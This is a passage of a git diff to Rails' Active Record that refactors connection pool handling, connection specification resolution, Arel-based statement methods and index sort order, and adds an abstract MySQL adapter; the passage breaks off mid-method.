def current_connection_id #:nodoc:
- Thread.current.object_id
+ ActiveRecord::Base.connection_id ||= Thread.current.object_id
end
def checkout_new_connection
raise ConnectionNotEstablished unless @automatic_reconnect
c = new_connection
+ c.pool = self
@connections << c
- checkout_and_verify(c)
- end
-
- def checkout_existing_connection
- c = (@connections - @checked_out).first
- checkout_and_verify(c)
+ c
end
def checkout_and_verify(c)
c.run_callbacks :checkout do
c.verify!
- @checked_out << c
end
c
end
+
+ def active_connections
+ @connections.find_all { |c| c.in_use? }
+ end
end
# ConnectionHandler is a collection of ConnectionPool objects. It is used
@@ -356,10 +330,12 @@ module ActiveRecord
def initialize(pools = {})
@connection_pools = pools
+ @class_to_pool = {}
end
def establish_connection(name, spec)
- @connection_pools[name] = ConnectionAdapters::ConnectionPool.new(spec)
+ @connection_pools[spec] ||= ConnectionAdapters::ConnectionPool.new(spec)
+ @class_to_pool[name] = @connection_pools[spec]
end
# Returns true if there are any active connections among the connection
@@ -410,16 +386,17 @@ module ActiveRecord
# can be used as an argument for establish_connection, for easily
# re-establishing the connection.
def remove_connection(klass)
- pool = @connection_pools[klass.name]
+ pool = @class_to_pool.delete(klass.name)
return nil unless pool
+ @connection_pools.delete pool.spec
pool.automatic_reconnect = false
pool.disconnect!
pool.spec.config
end
def retrieve_connection_pool(klass)
- pool = @connection_pools[klass.name]
+ pool = @class_to_pool[klass.name]
return pool if pool
return nil if ActiveRecord::Base == klass
retrieve_connection_pool klass.superclass
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
index 7312e34f01..ca9fb11e95 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
@@ -5,6 +5,74 @@ module ActiveRecord
def initialize (config, adapter_method)
@config, @adapter_method = config, adapter_method
end
+
+ ##
+ # Builds a ConnectionSpecification from user input
+ class Resolver # :nodoc:
+ attr_reader :config, :klass, :configurations
+
+ def initialize(config, configurations)
+ @config = config
+ @configurations = configurations
+ end
+
+ def spec
+ case config
+ when nil
+ raise AdapterNotSpecified unless defined?(Rails.env)
+ resolve_string_connection Rails.env
+ when Symbol, String
+ resolve_string_connection config.to_s
+ when Hash
+ resolve_hash_connection config
+ end
+ end
+
+ private
+ def resolve_string_connection(spec) # :nodoc:
+ hash = configurations.fetch(spec) do |k|
+ connection_url_to_hash(k)
+ end
+
+ raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
+
+ resolve_hash_connection hash
+ end
+
+ def resolve_hash_connection(spec) # :nodoc:
+ spec = spec.symbolize_keys
+
+ raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
+
+ begin
+ require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
+ rescue LoadError => e
+ raise LoadError, "Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{e.message})", e.backtrace
+ end
+
+ adapter_method = "#{spec[:adapter]}_connection"
+
+ ConnectionSpecification.new(spec, adapter_method)
+ end
+
+ def connection_url_to_hash(url) # :nodoc:
+ config = URI.parse url
+ adapter = config.scheme
+ adapter = "postgresql" if adapter == "postgres"
+ spec = { :adapter => adapter,
+ :username => config.user,
+ :password => config.password,
+ :port => config.port,
+ :database => config.path.sub(%r{^/},""),
+ :host => config.host }
+ spec.reject!{ |_,value| !value }
+ if config.query
+ options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
+ spec.merge!(options)
+ end
+ spec
+ end
+ end
end
##
@@ -55,56 +123,15 @@ module ActiveRecord
# The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
# may be returned on an error.
def self.establish_connection(spec = ENV["DATABASE_URL"])
- case spec
- when nil
- raise AdapterNotSpecified unless defined?(Rails.env)
- establish_connection(Rails.env)
- when ConnectionSpecification
- self.connection_handler.establish_connection(name, spec)
- when Symbol, String
- if configuration = configurations[spec.to_s]
- establish_connection(configuration)
- elsif spec.is_a?(String) && hash = connection_url_to_hash(spec)
- establish_connection(hash)
- else
- raise AdapterNotSpecified, "#{spec} database is not configured"
- end
- else
- spec = spec.symbolize_keys
- unless spec.key?(:adapter) then raise AdapterNotSpecified, "database configuration does not specify adapter" end
-
- begin
- require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
- rescue LoadError => e
- raise "Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{e})"
- end
+ resolver = ConnectionSpecification::Resolver.new spec, configurations
+ spec = resolver.spec
- adapter_method = "#{spec[:adapter]}_connection"
- unless respond_to?(adapter_method)
- raise AdapterNotFound, "database configuration specifies nonexistent #{spec[:adapter]} adapter"
- end
-
- remove_connection
- establish_connection(ConnectionSpecification.new(spec, adapter_method))
+ unless respond_to?(spec.adapter_method)
+ raise AdapterNotFound, "database configuration specifies nonexistent #{spec[:adapter]} adapter"
end
- end
- def self.connection_url_to_hash(url) # :nodoc:
- config = URI.parse url
- adapter = config.scheme
- adapter = "postgresql" if adapter == "postgres"
- spec = { :adapter => adapter,
- :username => config.user,
- :password => config.password,
- :port => config.port,
- :database => config.path.sub(%r{^/},""),
- :host => config.host }
- spec.reject!{ |_,value| !value }
- if config.query
- options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
- spec.merge!(options)
- end
- spec
+ remove_connection
+ connection_handler.establish_connection name, spec
end
class << self
@@ -115,6 +142,14 @@ module ActiveRecord
retrieve_connection
end
+ def connection_id
+ Thread.current['ActiveRecord::Base.connection_id']
+ end
+
+ def connection_id=(connection_id)
+ Thread.current['ActiveRecord::Base.connection_id'] = connection_id
+ end
+
# Returns the configuration of the associated connection as a hash:
#
# ActiveRecord::Base.connection_config
@@ -126,7 +161,7 @@ module ActiveRecord
end
def connection_pool
- connection_handler.retrieve_connection_pool(self)
+ connection_handler.retrieve_connection_pool(self) or raise ConnectionNotEstablished
end
def retrieve_connection
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index 777ef15dfc..dc4a53034b 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -1,30 +1,39 @@
module ActiveRecord
module ConnectionAdapters # :nodoc:
module DatabaseStatements
+ # Converts an arel AST to SQL
+ def to_sql(arel)
+ if arel.respond_to?(:ast)
+ visitor.accept(arel.ast)
+ else
+ arel
+ end
+ end
+
# Returns an array of record hashes with the column names as keys and
# column values as values.
- def select_all(sql, name = nil, binds = [])
- select(sql, name, binds)
+ def select_all(arel, name = nil, binds = [])
+ select(to_sql(arel), name, binds)
end
# Returns a record hash with the column names as keys and column values
# as values.
- def select_one(sql, name = nil)
- result = select_all(sql, name)
+ def select_one(arel, name = nil)
+ result = select_all(arel, name)
result.first if result
end
# Returns a single value from a record
- def select_value(sql, name = nil)
- if result = select_one(sql, name)
+ def select_value(arel, name = nil)
+ if result = select_one(arel, name)
result.values.first
end
end
# Returns an array of the values of the first column in a select:
# select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
- def select_values(sql, name = nil)
- result = select_rows(sql, name)
+ def select_values(arel, name = nil)
+ result = select_rows(to_sql(arel), name)
result.map { |v| v[0] }
end
@@ -74,20 +83,20 @@ module ActiveRecord
#
# If the next id was calculated in advance (as in Oracle), it should be
# passed in as +id_value+.
- def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [])
- sql, binds = sql_for_insert(sql, pk, id_value, sequence_name, binds)
+ def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [])
+ sql, binds = sql_for_insert(to_sql(arel), pk, id_value, sequence_name, binds)
value = exec_insert(sql, name, binds)
id_value || last_inserted_id(value)
end
# Executes the update statement and returns the number of rows affected.
- def update(sql, name = nil, binds = [])
- exec_update(sql, name, binds)
+ def update(arel, name = nil, binds = [])
+ exec_update(to_sql(arel), name, binds)
end
# Executes the delete statement and returns the number of rows affected.
- def delete(sql, name = nil, binds = [])
- exec_delete(sql, name, binds)
+ def delete(arel, name = nil, binds = [])
+ exec_delete(to_sql(arel), name, binds)
end
# Checks whether there is currently no transaction active. This is done
@@ -297,6 +306,16 @@ module ActiveRecord
end
end
+ # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work
+ # on mysql (even when aliasing the tables), but mysql allows using JOIN directly in
+ # an UPDATE statement, so in the mysql adapters we redefine this to do that.
+ def join_to_update(update, select) #:nodoc:
+ subselect = select.clone
+ subselect.projections = [update.key]
+
+ update.where update.key.in(subselect)
+ end
+
protected
# Returns an array of record hashes with the column names as keys and
# column values as values.
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 093c30aa42..27ff13ad89 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -55,9 +55,10 @@ module ActiveRecord
@query_cache.clear
end
- def select_all(sql, name = nil, binds = [])
+ def select_all(arel, name = nil, binds = [])
if @query_cache_enabled
- cache_sql(sql, binds) { super }
+ sql = to_sql(arel)
+ cache_sql(sql, binds) { super(sql, name, binds) }
else
super
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index 3de850ec9e..f93c7cd74a 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -102,10 +102,13 @@ module ActiveRecord
def quoted_date(value)
if value.acts_like?(:time)
zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
- value.respond_to?(zone_conversion_method) ? value.send(zone_conversion_method) : value
- else
- value
- end.to_s(:db)
+
+ if value.respond_to?(zone_conversion_method)
+ value = value.send(zone_conversion_method)
+ end
+ end
+
+ value.to_s(:db)
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 82f564e41d..6f135b56b5 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -6,7 +6,7 @@ require 'bigdecimal/util'
module ActiveRecord
module ConnectionAdapters #:nodoc:
- class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths) #:nodoc:
+ class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders) #:nodoc:
end
# Abstract representation of a column definition. Instances of this type
@@ -46,13 +46,13 @@ module ActiveRecord
# +change_table+ is actually of this type:
#
# class SomeMigration < ActiveRecord::Migration
- # def self.up
+ # def up
# create_table :foo do |t|
# puts t.class # => "ActiveRecord::ConnectionAdapters::TableDefinition"
# end
# end
#
- # def self.down
+ # def down
# ...
# end
# end
@@ -252,7 +252,7 @@ module ActiveRecord
# Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
# <tt>:updated_at</tt> to the table.
def timestamps(*args)
- options = args.extract_options!
+ options = { :null => false }.merge(args.extract_options!)
column(:created_at, :datetime, options)
column(:updated_at, :datetime, options)
end
@@ -479,4 +479,3 @@ module ActiveRecord
end
end
-
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index 8e3ba1297e..ce4c5a1383 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -1,4 +1,5 @@
require 'active_support/core_ext/array/wrap'
+require 'active_support/deprecation/reporting'
module ActiveRecord
module ConnectionAdapters # :nodoc:
@@ -113,7 +114,7 @@ module ActiveRecord
# Defaults to +id+. If <tt>:id</tt> is false this option is ignored.
#
# Also note that this just sets the primary key in the table. You additionally
- # need to configure the primary key in the model via the +set_primary_key+ macro.
+ # need to configure the primary key in the model via +self.primary_key=+.
# Models do NOT auto-detect the primary key from their table definition.
#
# [<tt>:options</tt>]
@@ -339,6 +340,14 @@ module ActiveRecord
# CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
#
# Note: SQLite doesn't support index length
+ #
+ # ====== Creating an index with a sort order (desc or asc, asc is the default)
+ # add_index(:accounts, [:branch_id, :party_id, :surname], :order => {:branch_id => :desc, :part_id => :asc})
+ # generates
+ # CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
+ #
+ # Note: mysql doesn't yet support index order (it accepts the syntax but ignores it)
+ #
def add_index(table_name, column_name, options = {})
index_name, index_type, index_columns = add_index_options(table_name, column_name, options)
execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})"
@@ -405,7 +414,7 @@ module ActiveRecord
def dump_schema_information #:nodoc:
sm_table = ActiveRecord::Migrator.schema_migrations_table_name
- migrated = select_values("SELECT version FROM #{sm_table}")
+ migrated = select_values("SELECT version FROM #{sm_table} ORDER BY version")
migrated.map { |v| "INSERT INTO #{sm_table} (version) VALUES ('#{v}');" }.join("\n\n")
end
@@ -426,6 +435,7 @@ module ActiveRecord
si_table = Base.table_name_prefix + 'schema_info' + Base.table_name_suffix
if table_exists?(si_table)
+ ActiveRecord::Deprecation.warn "Usage of the schema table `#{si_table}` is deprecated. Please switch to using `schema_migrations` table"
old_version = select_value("SELECT version FROM #{quote_table_name(si_table)}").to_i
assume_migrated_upto_version(old_version)
@@ -507,8 +517,8 @@ module ActiveRecord
# ===== Examples
# add_timestamps(:suppliers)
def add_timestamps(table_name)
- add_column table_name, :created_at, :datetime
- add_column table_name, :updated_at, :datetime
+ add_column table_name, :created_at, :datetime, :null => false
+ add_column table_name, :updated_at, :datetime, :null => false
end
# Removes the timestamp columns (created_at and updated_at) from the table definition.
@@ -520,9 +530,29 @@ module ActiveRecord
end
protected
+ def add_index_sort_order(option_strings, column_names, options = {})
+ if options.is_a?(Hash) && order = options[:order]
+ case order
+ when Hash
+ column_names.each {|name| option_strings[name] += " #{order[name].to_s.upcase}" if order.has_key?(name)}
+ when String
+ column_names.each {|name| option_strings[name] += " #{order.upcase}"}
+ end
+ end
+
+ return option_strings
+ end
+
# Overridden by the mysql adapter for supporting index lengths
def quoted_columns_for_index(column_names, options = {})
- column_names.map {|name| quote_column_name(name) }
+ option_strings = Hash[column_names.map {|name| [name, '']}]
+
+ # add index sort order if supported
+ if supports_index_sort_order?
+ option_strings = add_index_sort_order(option_strings, column_names, options)
+ end
+
+ column_names.map {|name| quote_column_name(name) + option_strings[name]}
end
def options_include_default?(options)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index 65024d76f8..1a4cc93d2d 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -2,21 +2,35 @@ require 'date'
require 'bigdecimal'
require 'bigdecimal/util'
require 'active_support/core_ext/benchmark'
-
-# TODO: Autoload these files
-require 'active_record/connection_adapters/column'
-require 'active_record/connection_adapters/abstract/schema_definitions'
-require 'active_record/connection_adapters/abstract/schema_statements'
-require 'active_record/connection_adapters/abstract/database_statements'
-require 'active_record/connection_adapters/abstract/quoting'
-require 'active_record/connection_adapters/abstract/connection_pool'
-require 'active_record/connection_adapters/abstract/connection_specification'
-require 'active_record/connection_adapters/abstract/query_cache'
-require 'active_record/connection_adapters/abstract/database_limits'
-require 'active_record/result'
+require 'active_support/deprecation'
+require 'active_record/connection_adapters/schema_cache'
+require 'monitor'
module ActiveRecord
module ConnectionAdapters # :nodoc:
+ extend ActiveSupport::Autoload
+
+ autoload :Column
+
+ autoload_under 'abstract' do
+ autoload :IndexDefinition, 'active_record/connection_adapters/abstract/schema_definitions'
+ autoload :ColumnDefinition, 'active_record/connection_adapters/abstract/schema_definitions'
+ autoload :TableDefinition, 'active_record/connection_adapters/abstract/schema_definitions'
+ autoload :Table, 'active_record/connection_adapters/abstract/schema_definitions'
+
+ autoload :SchemaStatements
+ autoload :DatabaseStatements
+ autoload :DatabaseLimits
+ autoload :Quoting
+
+ autoload :ConnectionPool
+ autoload :ConnectionHandler, 'active_record/connection_adapters/abstract/connection_pool'
+ autoload :ConnectionManagement, 'active_record/connection_adapters/abstract/connection_pool'
+ autoload :ConnectionSpecification
+
+ autoload :QueryCache
+ end
+
# Active Record supports multiple database systems. AbstractAdapter and
# related classes form the abstraction layer which makes this possible.
# An AbstractAdapter represents a connection to a database, and provides an
@@ -35,15 +49,42 @@ module ActiveRecord
include DatabaseLimits
include QueryCache
include ActiveSupport::Callbacks
+ include MonitorMixin
define_callbacks :checkout, :checkin
- def initialize(connection, logger = nil) #:nodoc:
- @active = nil
- @connection, @logger = connection, logger
+ attr_accessor :visitor, :pool
+ attr_reader :schema_cache, :last_use, :in_use
+ alias :in_use? :in_use
+
+ def initialize(connection, logger = nil, pool = nil) #:nodoc:
+ super()
+
+ @active = nil
+ @connection = connection
+ @in_use = false
+ @instrumenter = ActiveSupport::Notifications.instrumenter
+ @last_use = false
+ @logger = logger
+ @open_transactions = 0
+ @pool = pool
+ @query_cache = Hash.new { |h,sql| h[sql] = {} }
@query_cache_enabled = false
- @query_cache = Hash.new { |h,sql| h[sql] = {} }
- @instrumenter = ActiveSupport::Notifications.instrumenter
+ @schema_cache = SchemaCache.new self
+ @visitor = nil
+ end
+
+ def lease
+ synchronize do
+ unless in_use
+ @in_use = true
+ @last_use = Time.now
+ end
+ end
+ end
+
+ def expire
+ @in_use = false
end
# Returns the human-readable name of the adapter. Use mixed case - one
@@ -96,6 +137,11 @@ module ActiveRecord
false
end
+ # Does this adapter support index sort order?
+ def supports_index_sort_order?
+ false
+ end
+
# QUOTING ==================================================
# Override to return the quoted table name. Defaults to column quoting.
@@ -177,12 +223,9 @@ module ActiveRecord
@connection
end
- def open_transactions
- @open_transactions ||= 0
- end
+ attr_reader :open_transactions
def increment_open_transactions
- @open_transactions ||= 0
@open_transactions += 1
end
@@ -207,10 +250,19 @@ module ActiveRecord
node
end
+ def case_insensitive_comparison(table, attribute, column, value)
+ table[attribute].lower.eq(table.lower(value))
+ end
+
def current_savepoint_name
"active_record_#{open_transactions}"
end
+ # Check the connection back in to the connection pool
+ def close
+ pool.checkin self
+ end
+
protected
def log(sql, name = "SQL", binds = [])
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
new file mode 100644
index 0000000000..f143fd348e
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -0,0 +1,719 @@
+require 'active_support/core_ext/object/blank'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class AbstractMysqlAdapter < AbstractAdapter
+ class Column < ConnectionAdapters::Column # :nodoc:
+ attr_reader :collation
+
+ def initialize(name, default, sql_type = nil, null = true, collation = nil)
+ super(name, default, sql_type, null)
+ @collation = collation
+ end
+
+ def extract_default(default)
+ if sql_type =~ /blob/i || type == :text
+ if default.blank?
+ return null ? nil : ''
+ else
+ raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
+ end
+ elsif missing_default_forged_as_empty_string?(default)
+ nil
+ else
+ super
+ end
+ end
+
+ def has_default?
+ return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns
+ super
+ end
+
+ # Must return the relevant concrete adapter
+ def adapter
+ raise NotImplementedError
+ end
+
+ def case_sensitive?
+ collation && !collation.match(/_ci$/)
+ end
+
+ private
+
+ def simplified_type(field_type)
+ return :boolean if adapter.emulate_booleans && field_type.downcase.index("tinyint(1)")
+
+ case field_type
+ when /enum/i, /set/i then :string
+ when /year/i then :integer
+ when /bit/i then :binary
+ else
+ super
+ end
+ end
+
+ def extract_limit(sql_type)
+ case sql_type
+ when /blob|text/i
+ case sql_type
+ when /tiny/i
+ 255
+ when /medium/i
+ 16777215
+ when /long/i
+ 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
+ else
+ super # we could return 65535 here, but we leave it undecorated by default
+ end
+ when /^bigint/i; 8
+ when /^int/i; 4
+ when /^mediumint/i; 3
+ when /^smallint/i; 2
+ when /^tinyint/i; 1
+ else
+ super
+ end
+ end
+
+ # MySQL misreports NOT NULL column default when none is given.
+ # We can't detect this for columns which may have a legitimate ''
+ # default (string) but we can for others (integer, datetime, boolean,
+ # and the rest).
+ #
+ # Test whether the column has default '', is not null, and is not
+ # a type allowing default ''.
+ def missing_default_forged_as_empty_string?(default)
+ type != :string && !null && default == ''
+ end
+ end
+
+ ##
+ # :singleton-method:
+ # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt>
+ # as boolean. If you wish to disable this emulation (which was the default
+ # behavior in versions 0.13.1 and earlier) you can add the following line
+ # to your application.rb file:
+ #
+ # ActiveRecord::ConnectionAdapters::Mysql[2]Adapter.emulate_booleans = false
+ class_attribute :emulate_booleans
+ self.emulate_booleans = true
+
+ LOST_CONNECTION_ERROR_MESSAGES = [
+ "Server shutdown in progress",
+ "Broken pipe",
+ "Lost connection to MySQL server during query",
+ "MySQL server has gone away" ]
+
+ QUOTED_TRUE, QUOTED_FALSE = '1', '0'
+
+ NATIVE_DATABASE_TYPES = {
+ :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
+ :string => { :name => "varchar", :limit => 255 },
+ :text => { :name => "text" },
+ :integer => { :name => "int", :limit => 4 },
+ :float => { :name => "float" },
+ :decimal => { :name => "decimal" },
+ :datetime => { :name => "datetime" },
+ :timestamp => { :name => "datetime" },
+ :time => { :name => "time" },
+ :date => { :name => "date" },
+ :binary => { :name => "blob" },
+ :boolean => { :name => "tinyint", :limit => 1 }
+ }
+
+ # FIXME: Make the first parameter more similar for the two adapters
+ def initialize(connection, logger, connection_options, config)
+ super(connection, logger)
+ @connection_options, @config = connection_options, config
+ @quoted_column_names, @quoted_table_names = {}, {}
+ @visitor = Arel::Visitors::MySQL.new self
+ end
+
+ def adapter_name #:nodoc:
+ self.class::ADAPTER_NAME
+ end
+
+ # Returns true, since this connection adapter supports migrations.
+ def supports_migrations?
+ true
+ end
+
+ def supports_primary_key?
+ true
+ end
+
+ # Returns true, since this connection adapter supports savepoints.
+ def supports_savepoints?
+ true
+ end
+
+ def supports_bulk_alter? #:nodoc:
+ true
+ end
+
+ # Technically MySQL allows to create indexes with the sort order syntax
+ # but at the moment (5.5) it doesn't yet implement them
+ def supports_index_sort_order?
+ true
+ end
+
+ def native_database_types
+ NATIVE_DATABASE_TYPES
+ end
+
+ # HELPER METHODS ===========================================
+
+ # The two drivers have slightly different ways of yielding hashes of results, so
+ # this method must be implemented to provide a uniform interface.
+ def each_hash(result) # :nodoc:
+ raise NotImplementedError
+ end
+
+ # Overridden by the adapters to instantiate their specific Column type.
+ def new_column(field, default, type, null, collation) # :nodoc:
+ Column.new(field, default, type, null, collation)
+ end
+
+ # Must return the Mysql error number from the exception, if the exception has an
+ # error number.
+ def error_number(exception) # :nodoc:
+ raise NotImplementedError
+ end
+
+ # QUOTING ==================================================
+
+ def quote(value, column = nil)
+ if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
+ s = column.class.string_to_binary(value).unpack("H*")[0]
+ "x'#{s}'"
+ elsif value.kind_of?(BigDecimal)
+ value.to_s("F")
+ else
+ super
+ end
+ end
+
+ def quote_column_name(name) #:nodoc:
+ @quoted_column_names[name] ||= "`#{name.to_s.gsub('`', '``')}`"
+ end
+
+ def quote_table_name(name) #:nodoc:
+ @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`')
+ end
+
+ def quoted_true
+ QUOTED_TRUE
+ end
+
+ def quoted_false
+ QUOTED_FALSE
+ end
+
+ # REFERENTIAL INTEGRITY ====================================
+
+ def disable_referential_integrity(&block) #:nodoc:
+ old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
+
+ begin
+ update("SET FOREIGN_KEY_CHECKS = 0")
+ yield
+ ensure
+ update("SET FOREIGN_KEY_CHECKS = #{old}")
+ end
+ end
+
+ # DATABASE STATEMENTS ======================================
+
+ def explain(arel)
+ sql = "EXPLAIN #{to_sql(arel)}"
+ start = Time.now
+ result = exec_query(sql, 'EXPLAIN')
+ elapsed = Time.now - start
+
+ ExplainPrettyPrinter.new.pp(result, elapsed)
+ end
+
+ class ExplainPrettyPrinter # :nodoc:
+ # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
+ # MySQL shell:
+ #
+ # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+ # | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+ # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+ # | 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
+ # | 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
+ # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+ # 2 rows in set (0.00 sec)
+ #
+ # This is an exercise in Ruby hyperrealism :).
+ def pp(result, elapsed)
+ widths = compute_column_widths(result)
+ separator = build_separator(widths)
+
+ pp = []
+
+ pp << separator
+ pp << build_cells(result.columns, widths)
+ pp << separator
+
+ result.rows.each do |row|
+ pp << build_cells(row, widths)
+ end
+
+ pp << separator
+ pp << build_footer(result.rows.length, elapsed)
+
+ pp.join("\n") + "\n"
+ end
+
+ private
+
+ def compute_column_widths(result)
+ [].tap do |widths|
+ result.columns.each_with_index do |column, i|
+ cells_in_column = [column] + result.rows.map {|r| r[i].nil? ? 'NULL' : r[i].to_s}
+ widths << cells_in_column.map(&:length).max
+ end
+ end
+ end
+
+ def build_separator(widths)
+ padding = 1
+ '+' + widths.map {|w| '-' * (w + (padding*2))}.join('+') + '+'
+ end
+
+ def build_cells(items, widths)
+ cells = []
+ items.each_with_index do |item, i|
+ item = 'NULL' if item.nil?
+ justifier = item.is_a?(Numeric) ? 'rjust' : 'ljust'
+ cells << item.to_s.send(justifier, widths[i])
+ end
+ '| ' + cells.join(' | ') + ' |'
+ end
+
+ def build_footer(nrows, elapsed)
+ rows_label = nrows == 1 ? 'row' : 'rows'
+ "#{nrows} #{rows_label} in set (%.2f sec)" % elapsed
+ end
+ end
+
+ # Executes the SQL statement in the context of this connection.
+ def execute(sql, name = nil)
+ if name == :skip_logging
+ @connection.query(sql)
+ else
+ log(sql, name) { @connection.query(sql) }
+ end
+ rescue ActiveRecord::StatementInvalid => exception
+ if exception.message.split(":").first =~ /Packets out of order/
+ raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings."
+ else
+ raise
+ end
+ end
+
+ # MysqlAdapter has to free a result after using it, so we use this method to write
+ # stuff in a abstract way without concerning ourselves about whether it needs to be
+ # explicitly freed or not.
+ def execute_and_free(sql, name = nil) #:nodoc:
+ yield execute(sql, name)
+ end
+
+ def update_sql(sql, name = nil) #:nodoc:
+ super
+ @connection.affected_rows
+ end
+
+ def begin_db_transaction
+ execute "BEGIN"
+ rescue Exception
+ # Transactions aren't supported
+ end
+
+ def commit_db_transaction #:nodoc:
+ execute "COMMIT"
+ rescue Exception
+ # Transactions aren't supported
+ end
+
+ def rollback_db_transaction #:nodoc:
+ execute "ROLLBACK"
+ rescue Exception
+ # Transactions aren't supported
+ end
+
+ def create_savepoint
+ execute("SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def rollback_to_savepoint
+ execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def release_savepoint
+ execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ end
+
+ # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
+ # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support
+ # these, we must use a subquery. However, MySQL is too stupid to create a
+ # temporary table for this automatically, so we have to give it some prompting
+ # in the form of a subsubquery. Ugh!
+ def join_to_update(update, select) #:nodoc:
+ if select.limit || select.offset || select.orders.any?
+ subsubselect = select.clone
+ subsubselect.projections = [update.key]
+
+ subselect = Arel::SelectManager.new(select.engine)
+ subselect.project Arel.sql(update.key.name)
+ subselect.from subsubselect.as('__active_record_temp')
+
+ update.where update.key.in(subselect)
+ else
+ update.table select.source
+ update.wheres = select.constraints
+ end
+ end
+
+ # SCHEMA STATEMENTS ========================================
+
+ def structure_dump #:nodoc:
+ if supports_views?
+ sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"
+ else
+ sql = "SHOW TABLES"
+ end
+
+ select_all(sql).map { |table|
+ table.delete('Table_type')
+ sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}"
+ exec_without_stmt(sql).first['Create Table'] + ";\n\n"
+ }.join
+ end
+
+ # Drops the database specified on the +name+ attribute
+ # and creates it again using the provided +options+.
+ def recreate_database(name, options = {})
+ drop_database(name)
+ create_database(name, options)
+ end
+
+ # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
+ # Charset defaults to utf8.
+ #
+ # Example:
+ # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin'
+ # create_database 'matt_development'
+ # create_database 'matt_development', :charset => :big5
+ def create_database(name, options = {})
+ if options[:collation]
